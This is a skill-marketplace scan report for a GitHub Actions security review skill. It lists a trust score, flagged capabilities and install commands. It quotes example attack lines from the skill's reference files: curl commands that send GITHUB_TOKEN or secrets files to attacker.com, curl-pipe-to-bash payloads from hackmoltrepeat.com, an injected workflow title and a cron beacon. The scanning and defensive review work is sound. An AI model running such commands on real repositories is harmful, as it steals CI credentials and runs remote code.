← All skills
gha-security-review
62 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By getsentry/skills (GitHub) · security · 1,139 stars · scanned at commit e94f222
GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review .github/workflows/ for pwn requests, expression injection, credential theft, and supply chain attacks. Exploitation-focused with concrete PoC scenarios.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: attacker.com, hackmoltrepeat.com
The author does not mention this. Expected for a security skill.
Found in 23 places.
Show 17 more
- skills/gha-security-review/references/credential-escalation.md, line 192
curl -d "token=$GITHUB_TOKEN" https://attacker.com/collect - skills/gha-security-review/references/expression-injection.md, line 18
"; curl https://attacker.com/$(cat $GITHUB_TOKEN) # - skills/gha-security-review/references/expression-injection.md, line 23
echo "PR Title: "; curl https://attacker.com/$(cat $GITHUB_TOKEN) #" - skills/gha-security-review/references/expression-injection.md, line 70
The base64 decodes to `curl -sSfL attacker.com/steal`, executed via command substitution in the filename. - skills/gha-security-review/references/expression-injection.md, line 87
$(curl -sSfL attacker.com/steal | bash) - skills/gha-security-review/references/pwn-request.md, line 48
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \ - skills/gha-security-review/references/pwn-request.md, line 61
"preinstall": "curl -sSfL https://attacker.com/steal | bash" - skills/gha-security-review/references/pwn-request.md, line 77
os.system(f"curl -d token=$GITHUB_TOKEN https://attacker.com/collect") - skills/gha-security-review/references/pwn-request.md, line 93
- run: curl -sSfL https://attacker.com/steal | bash - skills/gha-security-review/references/pwn-request.md, line 109
@curl -sSfL https://attacker.com/steal | bash - skills/gha-security-review/references/real-world-attacks.md, line 48
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \ - skills/gha-security-review/references/real-world-attacks.md, line 51
curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run() - skills/gha-security-review/references/real-world-attacks.md, line 88
curl -sSfL https://hackmoltrepeat.com/molt | bash - skills/gha-security-review/references/real-world-attacks.md, line 235
curl -sSfL https://hackmoltrepeat.com/molt | bash - skills/gha-security-review/references/real-world-attacks.md, line 271
2. **Same payload delivery:** `curl -sSfL [url] | bash` pattern in every attack - skills/gha-security-review/references/runner-infrastructure.md, line 34
echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner - skills/gha-security-review/references/runner-infrastructure.md, line 52
curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect
and 3 more places
Downloads and installs other software
The author does not mention this.
Found in 12 places.
Show 9 more
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 6 places.
Show 3 more
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 2 places.
Changes files outside its own folder
This is disclosed by the author in the skill's SKILL.md or README.
Found in 2 places.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'gha-security-review' ] || [ -L ~/.agents/skills/'gha-security-review' ]; then echo 'A skill folder named gha-security-review already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/getsentry/skills' "$d" && git -C "$d" checkout --quiet 'e94f22214528d69899d09c627b3315ddc3544816' -- 'skills/gha-security-review' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/gha-security-review' ~/.agents/skills/'gha-security-review' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'gha-security-review' ~/.claude/skills/'gha-security-review' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for getsentry/skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/getsentry/skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | e94f222 | 62 |
| 2026-11-07 | e94f222 | 62 |